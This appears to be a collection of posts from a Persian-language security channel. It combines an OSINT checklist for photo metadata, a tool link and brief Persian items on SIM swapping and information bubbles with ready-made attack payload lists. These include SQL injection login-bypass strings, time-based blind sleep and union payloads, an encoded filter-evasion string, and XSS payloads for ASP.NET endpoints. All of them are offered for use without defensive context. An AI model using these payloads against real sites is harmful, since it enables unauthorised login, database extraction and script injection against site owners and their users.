یک متخصص #اوسینت یا کارگاه وب وقتی به یک عکس یا ویدئو برخورد می کند برای رسیدن به سر نخ ها این موارد را بررسی می کند:

Original Photo taken from Camera?
is copyrighted?
Has authoring Information?
Contains comments / denoscriptions?
Contains tracking?
Contains faces?
Contains text?
Contains location detalls?
Contains steganography?
Contains digital watermarks?
Contains date/time details?
Has maker note content?
Contains camera device Information?
Has thumbnail(s)?
Contains unreadable metadata?
Traling data appended to photo?
Contains metadata?

Login Bypass 🌵

#SQLi

param='
param="
param=' or 1=1
param=' or 1=0
param=' and 1=1
' or sleep(2) and 1=1#
' or sleep(2)#
admin' and sleep(2)#
' union select sleep(2),null#
' union select sleep(2),null,null,null,null#

Part 1🥶

Pass : Pwn3rzs

param=' or 1=1#
param=' or 1=1
param=' or 1=1 //
param= or 1=1#
param=and or 1=1#
param=' or 1=1

This is the most classic, standard first test:

' or '1'='1

Then you have:
-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '

Part 2 🥶

JSON Crack is a tool that generates graph diagrams from JSON objects


https://github.com/AykutSarac/jsoncrack.com

سیم سوآپ یا سیم کارت هایجکینگ چیست؟

https://youtu.be/DGJqmKfRulU

داوود سجادی دکترای کامپیوتر ✍

حباب اطلاعاتی چیست؟
چگونه می‌توان از آن خارج شد؟
منبع: dw_persian

🥶Add to your SQL injection payload list 🥶

1%27//%256fR//50%2521%253D22%253B%2523  
==
"0\"XOR(if(now()=sysdate(),sleep(9),0))XOR\"Z",
===
query=login&username=rrr';SELECT PG_SLEEP(5)--&password=rr&submit=Login
==
' AND (SELECT 8871 FROM (SELECT(SLEEP(5)))uZxz)

XSS payloads for http://ASP.NET endpoints:

/(A('onerror=%22alert%601%60%22testabcd))/

/Orders/(A(%22onerror='alert%60xss%60'testabcd))/Login.aspx?ReturnUrl=/Orders

(A(%22onerror='alert%601%60'testabcd))/Login.aspx?ReturnUrl=%2f

For more ➡️ http://blog.isec.pl/all-is-xss-that-comes-to-the-net/